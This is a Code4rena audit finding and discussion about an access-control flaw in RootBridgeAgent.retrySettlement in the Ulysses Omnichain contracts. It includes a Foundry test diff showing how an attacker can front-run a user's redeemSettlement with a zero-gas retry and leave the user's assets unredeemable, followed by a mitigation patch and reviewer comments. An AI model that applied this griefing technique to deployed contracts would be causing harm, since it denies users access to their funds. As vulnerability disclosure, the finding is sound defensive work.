RootBridgeAgent.redeemSettlement can be front-run using RootBridgeAgent.retrySettlement causing redeem DoS

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L243-L268

Vulnerability details

Impact

Since RootBridgeAgent.retrySettlement(...) can be called by anyone for any settlement, a malicious actor can front-run an user trying to redeem his failed settlement via RootBridgeAgent.redeemSettlement(...) by calling RootBridgeAgent.retrySettlement(...) with _remoteExecutionGas = 0 in order to make sure that this settlement will also fail in the future.

As a consequnce, the user's subsequent call to RootBridgeAgent.redeemSettlement(...) will revert (DoS) because the settlement was already marked with SettlementStatus.Success during the malicious actor's call to RootBridgeAgent.retrySettlement(...). Therefore the user is unable to redeem his assets.

Proof of Concept

The following PoC modifies an existing test case to confirm the above claims resulting in:

• The settlement being marked with SettlementStatus.Success.
• DoS of RootBridgeAgent.redeemSettlement(...) method for this settlement.
• The user not being able to redeem his assets.

Just apply the diff below and run the test with forge test --match-test testRedeemSettlement:

diff --git a/test/ulysses-omnichain/RootTest.t.sol b/test/ulysses-omnichain/RootTest.t.sol
index ea88453..ccd7ad2 100644
--- a/test/ulysses-omnichain/RootTest.t.sol
+++ b/test/ulysses-omnichain/RootTest.t.sol
@@ -1299,14 +1299,13 @@ contract RootTest is DSTestPlus {
         hevm.deal(_user, 1 ether);
 
         //Retry Settlement
-        multicallBridgeAgent.retrySettlement{value: 1 ether}(settlementNonce, 0.5 ether);
 
         settlement = multicallBridgeAgent.getSettlementEntry(settlementNonce);
 
         require(settlement.status == SettlementStatus.Success, "Settlement status should be success.");
     }
 
-    function testRedeemSettlement() public {
+    function testRedeemSettlementFrontRunDoS() public {
         //Set up
         testAddLocalTokenArbitrum();
 
@@ -1389,15 +1388,25 @@ contract RootTest is DSTestPlus {
 
         require(settlement.status == SettlementStatus.Failed, "Settlement status should be failed.");
 
-        //Retry Settlement
-        multicallBridgeAgent.redeemSettlement(settlementNonce);
+        //Front-run redeem settlement with '_remoteExecutionGas = 0'
+        address _malice = address(0x1234);
+        hevm.deal(_malice, 1 ether);
+        hevm.prank(_malice);
+        multicallBridgeAgent.retrySettlement{value: 1 ether}(settlementNonce, 0 ether);
 
         settlement = multicallBridgeAgent.getSettlementEntry(settlementNonce);
+        require(settlement.status == SettlementStatus.Success, "Settlement status should be success.");
 
-        require(settlement.owner == address(0), "Settlement should cease to exist.");
+        //Redeem settlement DoS cause settlement is marked as success
+        hevm.expectRevert(abi.encodeWithSignature("SettlementRedeemUnavailable()"));
+        multicallBridgeAgent.redeemSettlement(settlementNonce);
+
+        settlement = multicallBridgeAgent.getSettlementEntry(settlementNonce);
+        require(settlement.owner != address(0), "Settlement should still exist.");
 
+        //User couldn't redeem funds
         require(
-            MockERC20(newAvaxAssetGlobalAddress).balanceOf(_user) == 150 ether, "Settlement should have been redeemed"
+            MockERC20(newAvaxAssetGlobalAddress).balanceOf(_user) == 0 ether, "Settlement should not have been redeemed"
         );
     }
 

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

I suggest to only allow calls to RootBridgeAgent.retrySettlement(...) by the settlement owner:

diff --git a/src/ulysses-omnichain/RootBridgeAgent.sol b/src/ulysses-omnichain/RootBridgeAgent.sol
index 34f4286..4acef39 100644
--- a/src/ulysses-omnichain/RootBridgeAgent.sol
+++ b/src/ulysses-omnichain/RootBridgeAgent.sol
@@ -242,6 +242,14 @@ contract RootBridgeAgent is IRootBridgeAgent {
 
     /// @inheritdoc IRootBridgeAgent
     function retrySettlement(uint32 _settlementNonce, uint128 _remoteExecutionGas) external payable {
+        //Get deposit owner.
+        address depositOwner = getSettlement[_settlementNonce].owner;
+        if (
+            msg.sender != depositOwner && msg.sender != address(IPort(localPortAddress).getUserAccount(depositOwner))
+        ) {
+            revert NotSettlementOwner();
+        }
+
         //Update User Gas available.
         if (initialGas == 0) {
             userFeeInfo.depositedGas = uint128(msg.value);

Assessed type

DoS

[c4-judge]

trust1995 marked the issue as primary issue

[c4-judge]

trust1995 marked the issue as satisfactory

[0xBugsy]

Despite the user being still entitled to his assets and able to call retry with gas and redeem, this would allow anyone to grief a user's failed settlement causing the user to spend unnecessary time/ gas and if the economic incetives exist this could be done repeatedly. As this is completely undesired, we will add settlement owner verification to retrySettlement function.

[c4-sponsor]

0xBugsy marked the issue as sponsor confirmed

[c4-judge]

trust1995 marked the issue as selected for report

[peakbolt]

Frontrunning is not possible on root chain (Arbitrum) as there is no mempool and the Arbitrum Sequencer orders transactions on a first come, first served basis. Refer to Arbitrum docs at https://developer.arbitrum.io/learn-more/faq#will-transactions-with-a-higher-gas-price-bid-be-confirmed-first

[MarioPoneder]

I partially agree, however the affected contract is part of the Ulysses Omnichain system and therefore not limited to Arbitrum.
Furthermore, due to the lack of access control of retrySettlement this can also accidentally happen when a user calls it with the wrong settlement nonce and therefore doesn't necessarily need a mempool.
Irrespective of a malicious or good intention, a user should not be able to cause DoS for another user.

[peakbolt]

Thanks for clarification. Agree with the point that it extends beyond Arbitrum.

[0xLightt]

Addressed https://github.com/Maia-DAO/eco-c4-contest/tree/183-492-688-869